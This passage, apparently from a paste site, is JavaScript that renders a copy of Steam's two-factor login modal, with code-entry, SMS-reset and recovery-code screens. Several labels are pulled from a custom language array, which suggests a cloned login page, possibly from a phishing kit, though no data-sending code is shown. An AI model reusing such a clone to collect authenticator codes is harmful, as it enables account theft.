none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">Whoops!<\/div>\r\n\t\t\t\t\t<p>Sorry but, <br>that isn't quite right...<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp_couldnthelp\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">Let us help!<\/div>\r\n\t\t\t\t\t<p>If you have lost access to your mobile device, the mobile phone number associated with your account, and don't have the recovery code that you wrote down when you added the mobile authenticator, then please contact Steam Support for assistance recovering access to your account.<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_help\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">Let us help!<\/div>\r\n\t\t\t\t\t<p>Sorry you're having trouble. We know your Steam account is valuable to you, and we're committed to helping you keep access to it in the right hands.<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp_failure\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">Sorry!<\/div>\r\n\t\t\t\t\t<p>There was an error encountered while processing your request.<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t<div id=\"login_twofactorauth_details_messages\" class=\"twofactorauth_details_messages\">\r\n\t\t\t<div class=\"twofactorauth_details\" id=\"login_twofactorauth_details_entercode\" style=\"display: none;\">\r\n\t\t\t\t"+custLang[currCustLang].guard[3]+"\t\t\t<\/div>\r\n\t\t\t<div class=\"twofactorauth_details\" id=\"login_twofactorauth_details_selfhelp\" style=\"display: none;\">\r\n\t\t\t\t"+custLang[currCustLang].guard[11]+"\t\t\t<\/div>\r\n\t\t\t<div class=\"twofactorauth_details\" id=\"login_twofactorauth_details_help\" style=\"display: none;\">\r\n\t\t\t\tPlease contact Steam Support for assistance from a member of our staff.\t\t\t<\/div>\r\n\t\t\t<div class=\"twofactorauth_details\" id=\"login_twofactorauth_details_selfhelp_failure\" style=\"display: none;\">\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"twofactorauth_details\" id=\"login_twofactorauth_details_selfhelp_rcode_incorrectcode\" style=\"display: none;\">\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"twofactorauth_details\" id=\"login_twofactorauth_details_selfhelp_rcode_incorrectcode_exhausted\" style=\"display: none;\">\r\n\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t<div class=\"twofactorauthcode_entry_area\">\r\n\t\t\t<div id=\"login_twofactor_authcode_entry\">\r\n\t\t\t\t<div class=\"twofactorauthcode_entry_box\">\r\n\t\t\t\t\t<input class=\"twofactorauthcode_entry_input authcode_placeholder\" id=\"twofactorcode_entry\" type=\"text\"\r\n\t\t\t\t\t\t placeholder=\""+custLang[currCustLang].guard[4]+"\" autocomplete=\"off\">\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div id=\"login_twofactor_authcode_help_supportlink\">\r\n\t\t\t\t<a href=\"https:\/\/support.steampowered.com\/kb_article.php?ref=4020-ALZM-5519\">\r\n\t\t\t\t\tContact Steam Support for help with account access\t\t\t\t<\/a>\r\n\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t<div class=\"modal_buttons\" id=\"login_twofactorauth_buttonsets\">\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_entercode\" style=\"display: none;\">\r\n\t\t\t\t<div type=\"submit\" class=\"auth_button leftbtn\" data-modalstate=\"submit\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">"+custLang[currCustLang].guard[5]+"<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">"+custLang[currCustLang].guard[6]+"<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_button\" data-modalstate=\"selfhelp\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">"+custLang[currCustLang].guard[7]+"<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">"+custLang[currCustLang].guard[8]+"<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div style=\"clear: left;\"><\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_incorrectcode\" style=\"display: none;\">\r\n\t\t\t\t<div class=\"auth_button leftbtn\" data-modalstate=\"submit\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">I want to try again<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">and I've re-entered my authenticator code above<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_button\" data-modalstate=\"selfhelp\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">Please help<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">I think I need assistance from Steam Support...<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div style=\"clear: left;\"><\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_selfhelp\" style=\"display: none;\">\r\n\t\t\t\t<div class=\"auth_button leftbtn\" data-modalstate=\"selfhelp\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\" style=\"font-size: 16px;\">"+custLang[currCustLang].guard[12]+"<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">"+custLang[currCustLang].guard[13]+"<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_button\" data-modalstate=\"selfhelp_sms_reset_start\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">Use this device<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">and get authenticator codes on this app<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_selfhelp_sms_remove\" style=\"display: none;\">\r\n\t\t\t\t<div class=\"auth_button leftbtn\" data-modalstate=\"selfhelp_sms_remove_sendcode\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">OK!<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">Send me the text message<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_button\" data-modalstate=\"selfhelp_nosms\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">I can't<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">because I no longer have access to that phone number<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_selfhelp_sms_remove_entercode\" style=\"display: none;\">\r\n\t\t\t\t<div class=\"auth_button leftbtn\" data-modalstate=\"selfhelp_sms_remove_checkcode\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">Submit<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">I entered the code above<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_button\" data-modalstate=\"selfhelp_nosms\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">Please help<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">I'm not receiving the text message<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_selfhelp_sms_remove_incorrectcode\" style=\"display: none;\">\r\n\t\t\t\t<div class=\"auth_button leftbtn\" data-modalstate=\"selfhelp_sms_remove_checkcode\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">Submit<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">I re-entered the code. Let's try again.<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_button\" data-modalstate=\"selfhelp_nosms\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">Please help<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">I'm not receiving the text message<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_selfhelp_twofactor_removed\" style=\"display: none;\">\r\n\t\t\t\t<div class=\"auth_button leftbtn\" data-modalstate=\"selfhelp_sms_remove_complete\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">Log in<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">with the mobile authenticator removed<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_selfhelp_twofactor_replaced\" style=\"display: none;\">\r\n\t\t\t\t<div class=\"auth_button leftbtn\" data-modalstate=\"selfhelp_sms_remove_complete\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">Log in<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">to the Steam Mobile app<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_selfhelp_nosms\" style=\"display: none;\">\r\n\t\t\t\t<div class=\"auth_button leftbtn\" data-modalstate=\"selfhelp_rcode\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">Yes<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">I have the recovery code that begins with 'R'<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_button\" data-modalstate=\"selfhelp_couldnthelp\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">No<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">I don't have a code like that<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_selfhelp_rcode\" style=\"display: none;\">\r\n\t\t\t\t<div class=\"auth_button leftbtn\" data-modalstate=\"selfhelp_rcode_checkcode\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">Submit<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">my recovery code<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_button\" data-modalstate=\"selfhelp_couldnthelp\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">Please help<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">I think I need assistance from Steam Support...<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_selfhelp_rcode_incorrectcode\" style=\"display: none;\">\r\n\t\t\t\t<div class=\"auth_button leftbtn\" data-modalstate=\"selfhelp_rcode_checkcode\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">Submit<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">I re-entered the code. Let's try again.<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_button\" data-modalstate=\"selfhelp_couldnthelp\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">Please help<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">I think I need assistance from Steam Support...<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_selfhelp_rcode_incorrectcode_exhausted\" style=\"display: none;\">\r\n\t\t\t\t<div class=\"auth_button\" data-modalstate=\"selfhelp_couldnthelp\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">Please help<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">I think I need assistance from Steam Support...<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_selfhelp_couldnthelp\" style=\"display: none;\">\r\n\t\t\t\t<a class=\"auth_button leftbtn\" href=\"https:\/\/help.steampowered.com\/\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">Contact us<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">for help with account access<\/div>\r\n\t\t\t\t<\/a>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_buttonset\" id=\"login_twofactorauth_buttonset_waiting\" style=\"display: none;\">\r\n\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t<div style=\"display: none;\">\r\n\t\t\t<input type=\"submit\">\r\n\t\t<\/div>\r\n\t\t<\/form>\r\n\t<\/div>\r\n<\/div>\r\n" );
  1293. $J('body').append( CLoginPromptManager.sm_$Modals );
  1294. }
  1295. else
  1296. {
  1297. CLoginPromptManager.sm_$Modals = $modals;
  1298. }
  1299. };
  1300.  
  1301. CLoginPromptManager.prototype.GetModalContent = function( strModalType )
  1302. {
  1303. var $ModalContent = CLoginPromptManager.sm_$Modals.find( '.login_modal.' + strModalType );
  1304.  
  1305. if ( this.m_bIsMobileSteamClient )
  1306. {
  1307. var manager = this;
  1308. $ModalContent.find('a[data-externallink]' ).each( function() {
  1309. if ( !manager.m_bMobileClientSupportsPostMessage )
  1310. $J(this).attr( 'href', 'steammobile://openexternalurl?url=' + $J(this).attr('href') );
  1311. else
  1312. $J(this).on('click', function( e ) {
  1313. e.preventDefault();
  1314. window.postMessage( JSON.stringify( {action: "openexternalurl", url: $J(this).attr('href') } ), window.location );
  1315. });
  1316. });
  1317. }
  1318.  
  1319. return $ModalContent;
  1320. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement